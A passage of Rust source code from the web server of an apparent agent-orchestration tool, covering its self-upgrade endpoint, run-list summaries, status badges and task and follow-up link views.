3595            'm' => 60,
3596            'h' => 3600,
3597            'd' => 86400,
3598            _ => return None,
3599        };
3600        total = total.checked_add(amount.checked_mul(scale)?)?;
3601        rest = rest[n + 1..].trim_start();
3602    }
3603    Some(total)
3604}
3605
3606#[derive(Debug, Clone, Serialize)]
3607struct UpgradeRequestFailure {
3608    occurred_at: String,
3609    error: String,
3610    retry_after_secs: Option<u64>,
3611    /// Unix seconds; independent of the phone's polling cadence.
3612    retry_at: Option<u64>,
3613}
3614
3615impl UpgradeRequestFailure {
3616    fn new(error: String) -> Self {
3617        let retry_after_secs = upgrade_retry_after(&error);
3618        let now = std::time::SystemTime::now()
3619            .duration_since(std::time::UNIX_EPOCH)
3620            .unwrap_or_default()
3621            .as_secs();
3622        Self {
3623            occurred_at: jiff::Timestamp::now().to_string(),
3624            error,
3625            retry_after_secs,
3626            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3627        }
3628    }
3629}
3630
3631/// `POST /api/upgrade` - replace this binary with the newest release and come
3632/// back on it.
3633///
3634/// Replace the installed binary, restart the detached scheduler, release the
3635/// web listener, then start the successor. Active task and conversation
3636/// workers retain their immutable executable and continue without parking.
3637///
3638/// A legacy embedded scheduler is the only incompatible owner: its work
3639/// must finish or park before the first migration replaces its process.
3640///
3641/// Answers **202**: the reply has to reach the phone while this process can
3642/// still send one, and the phone learns the deck is back by reconnecting.
3643async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3644    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3645}
3646
3647async fn begin_upgrade(
3648    ui: &Arc<Ui>,
3649    trigger: updater::UpgradeTrigger,
3650    latest: Option<kaishin::LatestRelease>,
3651) -> Response {
3652    let reading = daemon::read_status(&ui.home);
3653    if let Some(other) = Foreign::of(reading.as_ref()) {
3654        return ApiError::conflict(format!(
3655            "{} is a legacy scheduler without detached restart support. \
3656             Finish or explicitly park its work in the existing UI before \
3657             this first migration; independent schedulers do not need this.",
3658            other.who()
3659        ))
3660        .into_response();
3661    }
3662
3663    // A second upgrade while one is moving would replace the binary and
3664    // signal the handover again after `serve` already consumed the first
3665    // signal, leaving the process in `replaced` forever. Try-lock rather than
3666    // wait: a phone connection must not hang behind a GitHub round trip.
3667    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3668        return ApiError::conflict("another request is already preparing an upgrade")
3669            .into_response();
3670    };
3671    // Hold the same gate through recording/clearing the request outcome, so
3672    // an older response cannot overwrite a retry's result.
3673    if trigger == updater::UpgradeTrigger::Auto {
3674        let cfg = match Config::discover(&ui.repo, None) {
3675            Ok((cfg, _)) => cfg,
3676            Err(e) => {
3677                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3678            }
3679        };
3680        let Some(latest) = latest else {
3681            return StatusCode::NO_CONTENT.into_response();
3682        };
3683        let in_motion = ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3684            || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some();
3685        let decision = {
3686            let failed = ui
3687                .auto_failed_tag
3688                .lock()
3689                .unwrap_or_else(PoisonError::into_inner);
3690            auto_upgrade_decision(
3691                &cfg.update,
3692                updater::disabled_by_env(),
3693                in_motion,
3694                &latest.tag_name,
3695                failed.as_deref(),
3696            )
3697        };
3698        if let AutoUpgradeDecision::Skip(reason) = decision {
3699            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3700            return StatusCode::NO_CONTENT.into_response();
3701        }
3702        return finish_upgrade_request(
3703            ui,
3704            upgrade_checked_for(
3705                ui,
3706                env!("CARGO_PKG_VERSION").into(),
3707                Ok(Some(latest)),
3708                trigger,
3709            ),
3710        );
3711    }
3712    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3713}
3714
3715fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3716    match result {
3717        Ok(out) => {
3718            *ui.upgrade_request_error
3719                .lock()
3720                .unwrap_or_else(PoisonError::into_inner) = None;
3721            out.into_response()
3722        }
3723        Err(error) if error.status != StatusCode::CONFLICT => {
3724            let failure = UpgradeRequestFailure::new(error.message);
3725            *ui.upgrade_request_error
3726                .lock()
3727                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3728            let mut response = (error.status, Json(&failure)).into_response();
3729            if let Some(value) = failure
3730                .retry_after_secs
3731                .and_then(|secs| secs.to_string().parse().ok())
3732            {
3733                response.headers_mut().insert("retry-after", value);
3734            }
3735            response
3736        }
3737        Err(error) => error.into_response(),
3738    }
3739}
3740
3741async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3742    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3743        return Err(ApiError::conflict(
3744            "an upgrade is already in progress (this process started one and it \
3745             has not finished or failed yet)",
3746        ));
3747    }
3748    let recorded = updater::read_progress(&ui.home);
3749    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3750        return Err(ApiError::conflict(format!(
3751            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3752             stays stuck, restart the deck; on start it settles a stale record.",
3753            p.stage.as_str(),
3754            p.from,
3755            p.to.as_deref().unwrap_or("?"),
3756        )));
3757    }
3758
3759    // The same kill switch the background check honours (`disabled_by_env`),
3760    // checked before anything else for the same reason it is read before the
3761    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3762    // contact GitHub from this process", and a button press must not
3763    // override that any more than a broken `magi.toml` may.
3764    if crate::updater::disabled_by_env() {
3765        return Ok((
3766            StatusCode::OK,
3767            Json(UpgradeView {
3768                from: env!("CARGO_PKG_VERSION").to_owned(),
3769                to: None,
3770                detail: format!(
3771                    "Automatic updates are disabled by {}. Nothing was parked \
3772                     and nothing restarted.",
3773                    crate::updater::NO_AUTOUPDATE_ENV
3774                ),
3775            }),
3776        ));
3777    }
3778
3779    // Check before disturbing listeners or scheduling: no available update
3780    // means there is no reason to restart anything.
3781    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3782    let from = env!("CARGO_PKG_VERSION").to_owned();
3783    let latest = match crate::updater::Checker::new(&cfg.update) {
3784        Some(checker) => checker.newer_release().await,
3785        None => Ok(None),
3786    };
3787    upgrade_checked(ui, from, latest)
3788}
3789
3790fn upgrade_checked(
3791    ui: &Arc<Ui>,
3792    from: String,
3793    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3794) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3795    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3796}
3797
3798fn upgrade_checked_for(
3799    ui: &Arc<Ui>,
3800    from: String,
3801    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3802    trigger: updater::UpgradeTrigger,
3803) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3804    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3805    let Some(latest) = latest else {
3806        return Ok((
3807            StatusCode::OK,
3808            Json(UpgradeView {
3809                from,
3810                to: None,
3811                detail: "Already on the newest release. Nothing was parked \
3812                         and nothing restarted."
3813                    .to_owned(),
3814            }),
3815        ));
3816    };
3817
3818    if let Err(error) = daemon::scheduler_restart_options(&ui.home) {
3819        let detail = format!("cannot determine scheduler restart state: {error:#}");
3820        if trigger == updater::UpgradeTrigger::Auto {
3821            updater::log_warn(&ui.home, &format!("auto-upgrade: {detail}"));
3822        }
3823        return Err(ApiError::internal(detail));
3824    }
3825    if trigger == updater::UpgradeTrigger::Auto {
3826        updater::log_step(&ui.home, "auto-upgrade: beginning update and restart");
3827    }
3828
3829    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3830
3831    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3832    // poll must see a `Downloading` stage immediately, not whenever the
3833    // spawned task happens to get scheduled.
3834    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3835    progress.trigger = trigger;
3836    updater::write_progress_logged(&ui.home, &progress);
3837
3838    let home = ui.home.clone();
3839    ui.upgrade_spawned
3840        .store(true, std::sync::atomic::Ordering::SeqCst);
3841    let spawned = Arc::clone(&ui.upgrade_spawned);
3842    let runner = ui.upgrade_runner;
3843    let failed = ui.auto_failed_tag.clone();
3844    let tag = latest.tag_name.clone();
3845    tokio::spawn(async move {
3846        if let Err(e) = runner(home.clone()).await {
3847            if trigger == updater::UpgradeTrigger::Auto {
3848                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3849            }
3850            tracing::error!("the upgrade did not complete: {e:#}");
3851            // A failure of this attempt says nothing about a handover an
3852            // earlier request already has in flight; checked and written
3853            // under the progress lock.
3854            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3855            // Release only after failure bookkeeping, before accepting a retry.
3856            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3857        }
3858    });
3859
3860    Ok((
3861        StatusCode::ACCEPTED,
3862        Json(UpgradeView {
3863            from,
3864            to: Some(latest.tag_name),
3865            detail,
3866        }),
3867    ))
3868}
3869
3870/// Replace the binary, then ask [`serve`] to hand the address over.
3871///
3872/// Separated from the handler so the 202 is already on its way, and separated
3873/// from the spawn so the successor starts only after the listener is dropped.
3874async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3875    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3876    // hang the upgrade for as long as the process lives.
3877    crate::updater::run_self_update(true, false, true).await?;
3878    updater::log_step(&home, "binary replaced - recording the replaced stage");
3879    if let Some(mut progress) = updater::read_progress(&home) {
3880        progress.advance(updater::Stage::Replaced);
3881        updater::write_progress_logged(&home, &progress);
3882    }
3883    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3884    HANDOVER.notify_one();
3885    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3886    Ok(())
3887}
3888
3889/// One row in the run list.
3890///
3891/// The list route returns this rather than whole `RunState`s: the summary of a
3892/// run is a few hundred bytes and the state is megabytes, and the difference
3893/// is what makes the history usable on a mobile link.
3894#[derive(Debug, Serialize)]
3895struct RunSummary {
3896    activity: String,
3897    id: String,
3898    short: String,
3899    status: String,
3900    done: bool,
3901    instruction: String,
3902    title: String,
3903    repo: String,
3904    repo_name: String,
3905    created_at: String,
3906    updated_at: String,
3907    candidates: usize,
3908    viable: usize,
3909    judges: usize,
3910    winner: Option<char>,
3911    reviews: usize,
3912    quota_losses: usize,
3913    event: Option<String>,
3914    /// The later attempt at the same task that replaced this one, if any.
3915    ///
3916    /// Two cards with one title is otherwise unreadable: this is what lets
3917    /// the deck say "superseded by 4043" on the older of the pair.
3918    superseded_by: Option<String>,
3919    /// Blocked on a question nobody has answered.
3920    ///
3921    /// Derived from the question store rather than stored on the run: an agent
3922    /// calling `magi ask` blocks mid-node, and writing a status from there
3923    /// would race the graph's own save of `run.json` and be overwritten at the
3924    /// next node boundary. Asking the store is always true and never races.
3925    waiting: bool,
3926    /// Whether the process recorded as driving this run can still be proven
3927    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3928    /// rather than presenting its last graph node as still in flight.
3929    live: crate::run::Liveness,
3930    /// The land loop's last look at the pull request, when there is one.
3931    pr: Option<crate::run::PrRecord>,
3932    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3933    /// design — never picked up by the PR-polling merge watcher, unlike an
3934    /// ordinary `Ready` that may still be a live landing candidate. See
3935    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3936    /// re-deriving the same check from `status` and `merge.mode` itself.
3937    unmerged_by_design: bool,
3938    /// Derived presentation status matching [`RunDetailView::display_status`].
3939    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3940    #[serde(default)]
3941    display_status: String,
3942    /// What the status badge shows: `display_status`, or `superseded` for a
3943    /// non-live run a later attempt replaced. See [`run_badge_status`].
3944    #[serde(default)]
3945    badge_status: String,
3946    /// Who started the run, as the one label every surface shares; the
3947    /// "origin unknown" wording when the record predates origins.
3948    origin_label: String,
3949}
3950
3951impl RunSummary {
3952    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3953        Self {
3954            activity: crate::run_progress::activity(state, live, waiting),
3955            id: state.id.clone(),
3956            short: state.short().to_owned(),
3957            status: status_word(state.status),
3958            done: state.status.done(),
3959            unmerged_by_design: state.unmerged_by_design(),
3960            display_status: run_display_status(state, waiting, live),
3961            badge_status: run_display_status(state, waiting, live),
3962            instruction: state.instruction.clone(),
3963            title: title_from(&state.instruction, TITLE_MAX),
3964            repo: state.repo.display().to_string(),
3965            repo_name: state
3966                .repo
3967                .file_name()
3968                .map(|n| n.to_string_lossy().into_owned())
3969                .unwrap_or_default(),
3970            created_at: state.created_at.to_string(),
3971            updated_at: state.updated_at.to_string(),
3972            candidates: state.candidates.len(),
3973            viable: state.viable().len(),
3974            judges: state.config.graph.judges,
3975            winner: state.winner().map(|c| c.label),
3976            reviews: state.reviews.len(),
3977            quota_losses: state.quota.len(),
3978            event: state
3979                .verification_blocking_cause()
3980                .or_else(|| state.events.last().map(|e| e.message.clone())),
3981            waiting,
3982            live,
3983            // Filled in by the list route, which is the only place that can
3984            // see a task's other attempts.
3985            superseded_by: None,
3986            pr: state.pr.clone(),
3987            origin_label: crate::run::origin_label(state.origin.as_ref()),
3988        }
3989    }
3990}
3991
3992/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3993/// the same string `serde` writes for the status inside a full run.
3994fn status_word(status: RunStatus) -> String {
3995    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3996    // was a third way of naming the same statuses, and one that changed
3997    // silently with a derive.
3998    status.as_str().to_owned()
3999}
4000
4001/// The presentation status for a run, unified across summaries and details.
4002///
4003/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
4004/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
4005/// runs awaiting operator answers.
4006fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
4007    if waiting {
4008        return "waiting".to_owned();
4009    }
4010    if state.unmerged_by_design() {
4011        return "unmerged".to_owned();
4012    }
4013    if !state.status.done() && live == crate::run::Liveness::Dead {
4014        // The driver claim clears this flag before saving another event.
4015        // A previous park event can therefore outlive a resumed driver.
4016        if state.parked {
4017            return "parked".to_owned();
4018        }
4019        return "stale".to_owned();
4020    }
4021    status_word(state.status)
4022}
4023
4024/// The word a run's status badge shows: `display_status`, except that a
4025/// non-terminal run which is not provably live and was replaced by a later
4026/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
4027///
4028/// Same judgement `magi show` uses (`RunState::liveness`, the task's
4029/// successor); a live driver, `Unknown` liveness and terminal runs keep their
4030/// own word, so superseded never claims more than "not live".
4031fn run_badge_status(
4032    state: &RunState,
4033    display_status: &str,
4034    live: crate::run::Liveness,
4035    superseded: bool,
4036) -> String {
4037    if state.status.done() || live == crate::run::Liveness::Live {
4038        return display_status.to_owned();
4039    }
4040    if superseded {
4041        return "superseded".to_owned();
4042    }
4043    // A dead run's `display_status` is `stale`, except that a deliberate park
4044    // and an open owner question keep their own word: neither is a crash, and
4045    // the question still needs an answer. Anything else dead reads `stale`.
4046    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
4047        return "stale".to_owned();
4048    }
4049    display_status.to_owned()
4050}
4051
4052/// `?limit=`, clamped by the handler.
4053#[derive(Debug, Deserialize)]
4054struct ListQuery {
4055    #[serde(default)]
4056    limit: Option<usize>,
4057    /// Exact ids only; an empty value requests no rows (except queue blockers).
4058    ids: Option<String>,
4059}
4060
4061impl ListQuery {
4062    fn contains(&self, id: &str) -> bool {
4063        self.ids
4064            .as_ref()
4065            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
4066    }
4067}
4068
4069async fn runs_list(
4070    State(ui): State<Arc<Ui>>,
4071    Query(q): Query<ListQuery>,
4072) -> ApiResult<Json<Vec<RunSummary>>> {
4073    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
4074    blocking(move || {
4075        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4076        let states = run_ids(&ui.runs)
4077            .into_iter()
4078            // A run whose state cannot be read is skipped, not fatal: a run
4079            // killed mid-write must not blank the history of every other one.
4080            // The detail route still explains it, which is where an operator
4081            // asking "what happened to that run" ends up.
4082            .filter_map(|id| read_run(&ui.runs, &id).ok())
4083            .take(limit)
4084            .filter(|run| q.contains(&run.id));
4085        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4086        let summaries = summarize(
4087            states,
4088            &open_runs,
4089            &claimed,
4090            &superseded,
4091            |p| probe.borrow_mut().status(p),
4092            |p| probe.borrow_mut().started_at(p),
4093        );
4094        Ok(Json(summaries))
4095    })
4096    .await
4097}
4098
4099/// Everything the per-run rows share, read once: runs with an open question,
4100/// runs a live daemon claims, and the superseded map. Asking per run re-read
4101/// every question file and the daemon status file for each of hundreds of
4102/// runs, and spawned a process probe per run on Windows.
4103fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
4104    let open_runs: HashSet<String> = ui
4105        .questions
4106        .list()
4107        .into_iter()
4108        .filter(|q| q.status.open())
4109        .map(|q| q.run)
4110        .collect();
4111    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4112        .into_iter()
4113        .map(|c| c.run)
4114        .collect();
4115    (open_runs, claimed, ui.queue.superseded())
4116}
4117
4118/// The rows of the run list, given everything that is shared between them.
4119///
4120/// Pure over its inputs so a test can count how often the process queries are
4121/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4122/// takes, called at most once per run.
4123fn summarize<I, S, D>(
4124    states: I,
4125    open_runs: &HashSet<String>,
4126    claimed: &HashSet<String>,
4127    superseded: &HashMap<String, String>,
4128    mut status_q: S,
4129    mut identity_q: D,
4130) -> Vec<RunSummary>
4131where
4132    I: IntoIterator<Item = RunState>,
4133    S: FnMut(u32) -> Option<bool>,
4134    D: FnMut(u32) -> Option<String>,
4135{
4136    states
4137        .into_iter()
4138        .map(|state| {
4139            let waiting = open_runs.contains(&state.id);
4140            let live =
4141                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4142            let mut row = RunSummary::of(&state, waiting, live);
4143            row.superseded_by = state
4144                .pr_taken_over_by
4145                .as_ref()
4146                .or_else(|| superseded.get(&state.id))
4147                .map(String::as_str)
4148                .map(crate::run::short_of)
4149                .map(str::to_owned);
4150            row.badge_status = run_badge_status(
4151                &state,
4152                &row.display_status,
4153                live,
4154                row.superseded_by.is_some(),
4155            );
4156            row
4157        })
4158        .collect()
4159}
4160
4161/// A run as the detail route hands it to the phone.
4162///
4163/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4164/// the instruction as markdown, and the raw `instruction` field this struct
4165/// still carries (unchanged) is what a client wanting the exact bytes reads
4166/// instead.
4167#[derive(Debug, Serialize)]
4168struct RunDetailView {
4169    progress: crate::run_progress::Progress,
4170    stop_reason: Option<String>,
4171    #[serde(flatten)]
4172    state: RunState,
4173    instruction_md: Vec<md::Node>,
4174    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4175    /// mirror the records they come from, index for index; the raw strings
4176    /// stay in `state` and decide whether a block is shown at all.
4177    #[serde(flatten)]
4178    prose_md: RunProseMd,
4179    /// Whether a process is actually still driving this run: `"live"`,
4180    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4181    ///
4182    /// `state.active` (flattened in above) is only ever cleared by the
4183    /// process that populated it; a killed one leaves its last wave's
4184    /// entries behind. Carrying this alongside is what lets the phone rail
4185    /// tell "this seat is still answering" from "this seat was still
4186    /// answering when whatever was driving this run died" without a second
4187    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4188    /// proof of either. A string rather than a bool on purpose: a daemon
4189    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4190    /// and neither proven is `"unknown"` — folding that third case into
4191    /// either end of a bool is exactly the wrong call for a phone screen an
4192    /// operator uses to decide whether to wait or to act.
4193    live: crate::run::Liveness,
4194    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4195    /// alongside the flattened `state` rather than inside it, since
4196    /// `RunState` has no business knowing which of its own methods a caller
4197    /// wants serialized.
4198    unmerged_by_design: bool,
4199    /// Same field and meaning as [`RunSummary::waiting`].
4200    #[serde(default)]
4201    waiting: bool,
4202    /// Same derived presentation status as [`RunSummary::display_status`].
4203    #[serde(default)]
4204    display_status: String,
4205    /// Same field and meaning as [`RunSummary::badge_status`].
4206    #[serde(default)]
4207    badge_status: String,
4208    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4209    /// terminal. The client's `landView` keys on it, and the flattened state
4210    /// has no such field, so without it a finished run's stale `open` PR
4211    /// would be painted as live on the detail page.
4212    done: bool,
4213    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4214    /// route fills it from [`Queue::superseded`], the detail route from
4215    /// [`Queue::superseded_by`], and both read the same underlying task
4216    /// order. Without this the detail page could only ever show a red
4217    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4218    /// with nothing anywhere saying so — an operator opening it had no way
4219    /// to tell "this is done elsewhere" from "this still needs a retry".
4220    superseded_by: Option<String>,
4221    /// The task's current attempt, when this run is an older one — resolved
4222    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4223    /// the client to derive.
4224    ///
4225    /// Three things a client cannot safely do on its own drove this onto the
4226    /// server: it has to name the chain's *current head*, not just the next
4227    /// attempt (`superseded_by` above), because an intermediate retry in a
4228    /// longer chain can itself still be unresolved; it has to resolve to a
4229    /// real id rather than a short id a client would have to guess a full id
4230    /// from, which is ambiguous the moment two runs share a suffix; and it
4231    /// has to read that head's own status directly, because whether a run
4232    /// list a client happens to have cached even contains that attempt
4233    /// depends on a page limit this route knows nothing about.
4234    latest_attempt: Option<LatestAttempt>,
4235    /// The queue task this run belongs to, so the detail page can link back
4236    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4237    task: Option<TaskRef>,
4238    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4239    /// run recorded before origins existed. `origin` itself (flattened in
4240    /// with `state`) is `null` in that case.
4241    origin_label: String,
4242    /// Each recorded pass over this run, with the cause it stopped for. Empty
4243    /// for a run from before passes were kept: its earlier passes are unknown.
4244    pass_views: Vec<PassView>,
4245}
4246
4247/// A task named from a run's detail page.
4248#[derive(Debug, Serialize)]
4249struct TaskRef {
4250    id: String,
4251    short: String,
4252    title: String,
4253    /// [`Source::label`], e.g. `chat@a1b2`.
4254    source_label: String,
4255    /// Where the task came from, when that place has a page; see [`source_link`].
4256    source_link: Option<SourceLink>,
4257    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4258    status: &'static str,
4259    attempts: usize,
4260    max_attempts: usize,
4261    /// This run is the last entry of the task's run list.
4262    is_latest: bool,
4263    /// The task's newest run, when it is not this one.
4264    latest: Option<RunBrief>,
4265    /// The run that finished a `done` task (merged, or already in the base).
4266    finished_by: Option<RunBrief>,
4267    /// The task is `done` but no run on record finished it: closed by hand.
4268    closed_by_hand: bool,
4269}
4270
4271/// The page that filed a task, as the UI links to it.
4272#[derive(Debug, PartialEq, Eq, Serialize)]
4273struct SourceLink {
4274    /// `chat` (a conversation) or `run` (a run's node).
4275    kind: &'static str,
4276    /// The full id, never the short one in the label.
4277    id: String,
4278    /// The hash route that opens it.
4279    href: String,
4280}
4281
4282/// Percent-encode everything outside the URL-unreserved set.
4283fn encode_segment(raw: &str) -> String {
4284    let mut out = String::with_capacity(raw.len());
4285    for b in raw.bytes() {
4286        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4287            out.push(b as char);
4288        } else {
4289            out.push_str(&format!("%{b:02X}"));
4290        }
4291    }
4292    out
4293}
4294
4295/// The one place that decides where a task's source links to. A chat
4296/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4297/// a person or an imported issue has no page, so no link.
4298fn source_link(source: &Source) -> Option<SourceLink> {
4299    let Source::Agent { run, node } = source else {
4300        return None;
4301    };
4302    let (kind, route) = if node == crate::queue::CHAT_NODE {
4303        ("chat", "chat")
4304    } else {
4305        ("run", "runs")
4306    };
4307    Some(SourceLink {
4308        kind,
4309        id: run.clone(),
4310        href: id_links::page_href(route, run),
4311    })
4312}
4313
4314/// The parent task of a follow-up, when its file can still be read.
4315#[derive(Debug, Serialize, PartialEq)]
4316struct FollowUpParent {
4317    id: String,
4318    short: String,
4319    title: String,
4320    /// The parent's own status (`TaskStatus::as_str`).
4321    status: &'static str,
4322    href: String,
4323}
4324
4325/// The merged run a follow-up was filed from.
4326#[derive(Debug, Serialize, PartialEq)]
4327struct FollowUpRun {
4328    id: String,
4329    short: String,
4330    /// `None` when the run's record cannot be read.
4331    status: Option<&'static str>,
4332    /// `None` unless the record could be read: never a dead link.
4333    href: Option<String>,
4334}
4335
4336/// Where a follow-up task came from, resolved once per task page so the flow
4337/// chart and the detail block cannot disagree. See [`followup_origin`].
4338#[derive(Debug, Serialize, PartialEq)]
4339struct FollowUpOrigin {
4340    /// Present only when `origin_task` is set and that task still exists.
4341    parent: Option<FollowUpParent>,
4342    run: FollowUpRun,
4343    /// The merged pull request, verbatim. Not an href: the client passes it
4344    /// through `forgeUrl()` and renders text when that refuses it (the one
4345    /// exception to "the href rule is Rust's alone", since a forge URL is
4346    /// data from a record, not a route).
4347    pr: String,
4348    findings: Vec<String>,
4349    generation: u32,
4350}
4351
4352/// The one place that decides what a follow-up links to. A parent that cannot
4353/// be read (gone, or an id that names nothing) is `None`, never an error.
4354fn followup_origin(
4355    fu: &crate::queue::FollowUp,
4356    task: impl Fn(&str) -> Option<Task>,
4357    run: impl Fn(&str) -> Option<RunState>,
4358) -> FollowUpOrigin {
4359    let parent = fu
4360        .origin_task
4361        .as_deref()
4362        .and_then(task)
4363        .map(|t| FollowUpParent {
4364            short: t.short().to_owned(),
4365            href: format!("#/tasks/{}", encode_segment(&t.id)),
4366            status: t.status.as_str(),
4367            title: t.title,
4368            id: t.id,
4369        });
4370    let state = run(&fu.run);
4371    FollowUpOrigin {
4372        parent,
4373        run: FollowUpRun {
4374            short: run::short_of(&fu.run).to_owned(),
4375            status: state.as_ref().map(|s| s.status.as_str()),
4376            href: state
4377                .is_some()
4378                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4379            id: fu.run.clone(),
4380        },
4381        pr: fu.pr.clone(),
4382        findings: fu.findings.clone(),
4383        generation: fu.generation,
4384    }
4385}
4386
4387/// Another run of the same task, as named from a run's detail page.
4388#[derive(Debug, Serialize)]
4389struct RunBrief {
4390    id: String,
4391    short: String,
4392    /// `None` when the run's record cannot be read.
4393    status: Option<&'static str>,
4394    /// The task-page wording for how that pass ended.
4395    outcome: String,
4396    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4397    badge: Option<String>,
4398}
4399
4400/// The task's overall outcome as seen from `this_run`'s page, classified with
4401/// the same exits the task page's flowchart uses.
4402fn task_outcome(
4403    task: &Task,
4404    this_run: &str,
4405    max_attempts: usize,
4406    read: impl Fn(&str) -> Option<RunState>,
4407) -> TaskRef {
4408    let max_attempts = task.effective_attempt_limit(max_attempts);
4409    let history = task_history(task, read);
4410    let brief = |h: &TaskRunView| RunBrief {
4411        id: h.id.clone(),
4412        short: h.short.clone(),
4413        status: h.status,
4414        outcome: h.exit.edge_label(h.status),
4415        badge: h.badge.clone(),
4416    };
4417    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4418    let latest = if is_latest {
4419        None
4420    } else {
4421        history.last().map(brief)
4422    };
4423    let done = task.status == TaskStatus::Done;
4424    let finished_by = done
4425        .then(|| {
4426            history
4427                .iter()
4428                .rev()
4429                .find(|h| {
4430                    matches!(
4431                        h.exit,
4432                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4433                    )
4434                })
4435                .map(brief)
4436        })
4437        .flatten();
4438    TaskRef {
4439        short: task.short().to_owned(),
4440        title: task.title.clone(),
4441        id: task.id.clone(),
4442        source_label: task.source_label(),
4443        source_link: source_link(&task.source),
4444        status: task.status.as_str(),
4445        attempts: task.attempts,
4446        max_attempts,
4447        is_latest,
4448        latest,
4449        closed_by_hand: done && finished_by.is_none(),
4450        finished_by,
4451    }
4452}
4453
4454/// The task's current attempt, as seen from an older one's detail page.
4455#[derive(Debug, Serialize)]
4456struct LatestAttempt {
4457    id: String,
4458    short: String,
4459    /// Whether this attempt itself settled with a result nobody needs to
4460    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4461    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4462    /// unconfirmed claim that no change was needed, which is exactly why it
4463    /// settles the task through `Held` rather than `Done` and still waits on
4464    /// a human to check the evidence; showing an older run as "finished
4465    /// elsewhere" on the strength of an unverified claim would bury the
4466    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4467    /// in-flight status are excluded because they are exactly the
4468    /// unresolved states this field exists to tell apart from a real finish.
4469    resolved: bool,
4470    /// The attempt's own recorded status, so the page can say where it
4471    /// stands while it is not resolved yet.
4472    status: RunStatus,
4473    /// Whether that status is terminal (nothing is still running it).
4474    done: bool,
4475}
4476
4477/// Markdown for the free-text prose of a run, parallel to `RunState`.
4478#[derive(Debug, Default, Serialize)]
4479struct RunProseMd {
4480    /// `None` when the run has no design deliberation.
4481    advice_md: Option<AdviceMd>,
4482    /// One entry per candidate: the summary.
4483    candidate_summaries_md: Vec<Vec<md::Node>>,
4484    /// One entry per review round, in `reviews` order.
4485    reviews_md: Vec<RoundMd>,
4486}
4487
